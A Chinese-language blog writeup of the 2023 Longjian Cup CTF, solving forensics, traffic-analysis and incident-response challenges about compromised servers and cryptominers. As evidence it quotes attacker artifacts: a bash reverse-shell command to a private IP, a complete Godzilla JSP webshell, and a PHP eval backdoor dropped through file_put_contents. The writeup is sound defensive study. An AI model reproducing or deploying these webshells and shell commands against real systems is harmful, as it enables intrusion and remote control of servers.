iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

陇剑杯 2023 Writeup

陇剑杯 2023 Writeup

题量非常多,师傅们也非常猛~ 整体来说陇剑杯大部分题目对新手还是挺友好的,可能大家最大的问题就是时间完全不够用2333,另外不清楚为什么那么多公司看重这比赛,很多联系代打的,理解不能(

SS

这个方向给了俩文件 do.tarfinal.pcap,分别为 Linux 所有目录文件的备份以及网站流量包,但是在做题的时候基本只看 do.tar 就够了

sevrer save_1

黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514

1
2
/helloworld/src/main/resources/templates/hello.html
通过该文件里面的 Reznok's Hello World Spring Application 尝试 Github 搜索,发现为 CVE-2022-22965

sevrer save_2

黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444

1
2
3
4
/helloworld/bbbb.sh 里得到命令
/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1
最终答案
192.168.43.128:2333

sevrer save_3

黑客的病毒名称是什么? 格式为:filename

一看是没找到,先做的后面题目,根据后面的答案猜到了正确答案,病毒在 home/guests

1
main

sevrer save_4

黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

1
2
3
4
/etc/shadow 分别得到账号密码
ll:openssl passwd -1 -salt 'salt' 123456:19560:0:99999:7:::
最终答案
ll:123456

sevrer save_5

服务器在被入侵时外网ip是多少? 格式为:10.10.0.1

1
2
3
/home/guests/.log.txt
得到外网ip
172.105.202.239

sevrer save_6

病毒运行后释放了什么文件?格式:文件1,文件2

1
2
在 /home/guests/.idea 释放了俩文件
lolMiner 和 mine_doge.sh

sevrer save_7

矿池地址是什么? 格式:domain:1234

1
2
3
home/guests/.idea/mine_doge.sh
得到矿池地址
doge.millpools.cc:5567

sevrer save_5

黑客的钱包地址是多少?格式:xx:xxxxxxxx

1
2
3
/home/guests/.idea/mine_doge.sh
得到钱包地址
DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9

WS

Wireshark1_1

被入侵主机的IP是?

1
192.168.246.28

Wireshark1_2

被入侵主机的口令是?

1
youcannevergetthis

image-20230826183404047

Wireshark1_3

用户目录下第二个文件夹的名称是?

图片如上,第二个文件夹为

1
Downloads

Wireshark1_4

/etc/passwd中倒数第二个用户的用户名是?

1
mysql

image-20230826183346264

IR

该题目给了一个 ova 镜像,可以直接导入 Vmware 之中,但是着实不方便,所有一直想着直接把文件目录全部拿出来,直接使用 R-studio 对 ova 里面的 vmdx 文件进行恢复,从而得到所有文件。

IncidentResponse_1

你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)

挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

直接使用杀软对整个文件系统进行木马查杀,得到挖矿程序

1
2
/etc/redis/redis-server
6f72038a870f05cbf923633066e48881

IncidentResponse_2

挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

这种一般和挖矿程序在同一目录,在 redis.conf 中发现域名

1
2
donate.v2.xmrig.com
3fca20bb92d0ed67714e68704a0a4503

IncidentResponse_3

攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

题目提示:答案md5值前两位为3e

这题比较迷惑,一开始就确定铁定是 shiro 反序列化漏洞了,判定依据为攻击者最终攻击的为登陆页面,其次该系统使用的 renren-security 也确实采用了 Shiro 框架,同时系统运行日志 nohup.log 也报错爆出了 RememberMe ,但始终回答不对,最终根据 hint 试出了最终答案

image-20230826175530671

1
2
shirodeserialization
3ee726cb32f87a15d22fe55fa04c4dcd

IncidentResponse_4

攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

全局检索日志文件,得到 /var/log/nginx/access.log

1
find / -name 'access.log'

通过分析日志响应的状态码,得到攻击者IP

1
2
81.70.166.3
c76b4b1a5e8c9e7751af4684c6a8b2c9

IncidentResponse_5

攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

直接 log 文件末尾得到正确的 UA

1
2
mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)
6ba8458f11f4044cce7a621c085bb3c6

image-20230826180107720

IncidentResponse_6

攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

找来找去,总共俩用户 rootsuperuserroot 用户的 authorized_keys 不为空,判定为权限维持手段之一

1
2
/root/.ssh/authorized_keys
a1fa1b5aeb1f97340032971c342c4258

IncidentResponse_7

攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ‘ ‘ -f1获取md5值作为答案)

1
find / -newermt '2023-07-23 16:38:10' ! -newermt '2023-07-23 19:38:10'

使用命令查到到 redis.service 文件

1
2
/lib/systemd/system/redis.service
b2c5af8ce08753894540331e5a947d35

HW

hard_web_1

服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)

直接使用表达式进行过滤即可

1
tcp.connection.synack and ip.dst==192.168.162.188

得到如下三个端口

1
80,888,8888	

hard_web_2

服务器中根目录下的flag值是多少?

哥斯拉的 JSP 流量,解密最后一个 Jsp 流量即可

1
flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard_web_3

该webshell的连接密码是多少?

解密流量发现关键信息 748007e861908c03 同时还发现 the key is 1****y // 748007e861908c03

1
<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

直接写脚本爆破,最后发现直接去 cmd5 解密也行,就是收费

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
import itertools

target_hash = "748007e861908c03"

charset = "0123456789abcdefghijklmnopqrstuvwxyz"

for combination in itertools.product(charset, repeat=4):
attempt = "1" + "".join(combination) + "y"
md5_hash = hashlib.md5(attempt.encode()).hexdigest()[:16]

if md5_hash == target_hash:
print(f"Found match! Plaintext: {attempt}, MD5: {md5_hash}")
break
else:
print("No match found.")
# 14mk3y:748007e861908c03ba0830d5c47fd282

SW

SmallSword_1

连接蚁剑的正确密码是______________?(答案示例:123asd)

随便追踪一个木马文件的 HTTP 的流(如流143),即可得到正确密码

1
6ea280898e404bfabd0ebb702327b19f

SmallSword_2

攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

image-20230826185917926

base64解码后得到

1
ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

攻击者下载到的flag是______________?(答案示例:flag3{uuid})

导出所有文件后,发现有个 PHP 文件近 5M ,十分异常,直接查看发现是一个 exe 文件,我们手动删掉 ->| 后把后缀改为 exe 进行运行

image-20230826191824143

运行过后得到一个高度有异常的图片,直接进行宽高爆破即可

1
flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

image-20230826192036647

EW

经典 HTTP 流量包,直接 文件 -> 导出对象 -> HTTP 将文件全部导出

ez_web_1

服务器自带的后门文件名是什么?(含文件后缀)

一开始以为是 d00r.php 没成功,那么应该是通过其他文件写入的 d00r.php ,直接全局检索我们导出的文件,在 ViewMore(1).php 发现关键流量

1
a=file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

image-20230826175906358

直接得到答案

1
ViewMore.php

ez_web_2

服务器的内网IP是多少?

每个 d00r.php 都看了一下,发现 d00r(7).php 执行了 ifconfig 其响应包内容中包含了两个内网IP,经过测试得到答案

image-20230826175926695

1
192.168.101.132

ez_web_3

攻击者往服务器中写入的key是什么?

d00r(19).php 发现进行了写入操作,解码后发现是一个加密的 Zip 压缩包

image-20230826175947181

1
cmd=file_put_contents('k3y_f1le', base64_decode('UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='));

查看前几个文件,在 d00r(16).php 得到压缩包密码

1
7e03864b0db7e6f9

解压后文件内容为

1
7d9ddff2-2d67-4eba-9e48-b91c26c42337

image-20230826180003979

BF

baby_forensics_1

磁盘中的key是多少?

1
.\volatility.exe -f .\baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q '0x000000003df80070' -E .

然后 Rot 47

image-20230826192656806

baby_forensics_2

电脑中正在运行的计算器的运行结果是多少?

1
.\volatility.exe -f .\baby_forensics.raw --profile=Win7SP1x64 windows > dump

得到运行结果

1
7598632541

image-20230826184613599

baby_forensics_3

该内存文件中存在的flag值是多少?

010 打开 发现有串字符串 多次出现

1
U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==

image-20230826184720978

同时发现一个类似 key 的东西 qwerasdf

image-20230826184807590

直接 AES 解密即可

1
flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}

image-20230826184934768

TP

tcpdump_1

攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin

1323 发现登录成功的回显

1
TMjpxFGQwD:123457

image-20230826185055766

tcpdump_2

攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)

这题也没啥好说的,直接在最一开始登录成功后发现其 cookie 最后为 userid=1,而到了后面的流量包中发现 userid=2 了,那么直接提交后面的 cookie 内容

1
2
accesstoken=f412d3a0378d42439ee016b06ef3330c;zyplayertoken=f412d3a0378d42439ee016b06ef3330cqzw=;userid=1
42ec1721ead6acc6c5eebcf86f77bcc6

tcpdump_3

攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456

在流 1600 发现账号密码,另外下面的 flag 不知道有什么用

1
zyplayer:1234567

image-20230826180623911

tcpdump_4

攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so

在流 1602 发现关键数据,通过检索其漏洞为 CVE-2022-21724

1
CVE-2022-21724:custom.dtd.xml

image-20230826180720775

tcpdump_5

给出攻击者获取系统权限后,下载的工具的名称,比如nmap

在流 1611发现下载了工具

1
fscan

image-20230826180821577

HD

hacked_1

admIn用户的密码是什么?

56 发现用户密码为加密数据

image-20230826190531856

同时在流 66 发现 key 和 iv

image-20230826190644152

直接进行 AES 解密即可

1
2
3
KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=
key:l36DoqKUYQP0N7e1
iv:131b0c8a7a6e072e

image-20230826190506152

hacked_2

app.config[‘SECRET_KEY’]值为多少?

69 发现 SECRET_KEY

1
ssti_flask_hsfvaldb

image-20230826190815542

hacked_3

flask网站由哪个用户启动?

解密 flask session 发现执行了 whoami 命令,最终得到

1
red

image-20230826192428039

hacked_4

攻击者写入的内存马的路由名叫什么?(答案里不需要加/)

放眼望去,路由就那几个,随机试了一下,得到正确答案

1
Index

Web

fungame

近日,网管小李被通知说自己管理的网站存在漏洞,请你帮助小李找到存在漏洞的位置,并且将漏洞修复(敏感信息泄露也算哦)。修复漏洞后,等待一分钟左右,/flag就会变为可读权限。可以借用 /index.php?r=debug/default/index 的web接口的debug进行分析。

首先通过题干里面提到的 debug 接口查看调试的信息

1
/index.php?r=debug/default/index

image-20230826181429882

在这里我们发现了 check 规则

1
?r=gii/default/diff&id=controller&file=deeef839799cab17ef6826cc2f5f44f7

既然如此我们直接去控制器里修改一下

1
/var/www/html/vendor/yiisoft/yii2-gii/src/controllers

image-20230826182054159

我们直接把原有的逻辑注释掉即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function actionDiff($id, $file)
{
// $generator = $this->loadGenerator($id);
// if ($generator->validate()) {
// foreach ($generator->generate() as $f) {
// if ($f->id === $file) {
// return $this->renderPartial('diff', [
// 'diff' => $f->diff(),
// ]);
// }
// }
// }
throw new NotFoundHttpException("Code file not found: $file");
}

等一分钟后 check 发现 404 了,说明没问题

image-20230826182244134

尝试直接 cat /flag 还是提示无权限,说明还是没 fix 完毕,最后看了一下题干 敏感信息泄露也算哦 ,突然意识到 Debug 面板肯定泄露敏感信息,根据经验来看,这些信息大概率是通过 phpinfo 来获取的,我们直接进行搜索发现一个文件

1
2
$ find /var/www/html -name '*.php' | xargs grep -n 'phpinfo();'
/var/www/html/vendor/yiisoft/yii2-debug/src/panels/ConfigPanel.php:72: phpinfo();

直接进行 fix 即可,把返回值改为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getPhpInfo()
{
ob_start();
phpinfo();
$pinfo = ob_get_contents();
ob_end_clean();
$phpinfo = preg_replace('%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo);
$phpinfo = str_replace('<table',
'<div class="table-responsive"><table class="table table-condensed table-bordered table-striped table-hover config-php-info-table" ',
$phpinfo);
$phpinfo = str_replace('</table>', '</table></div>', $phpinfo);
$phpinfo = str_replace('<div class="center">', '<div class="phpinfo">', $phpinfo);
// return $phpinfo;
return;
}

image-20230826184858566

本文作者:iami233
本文链接:https://5ime.cn/longjiancup-2023.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可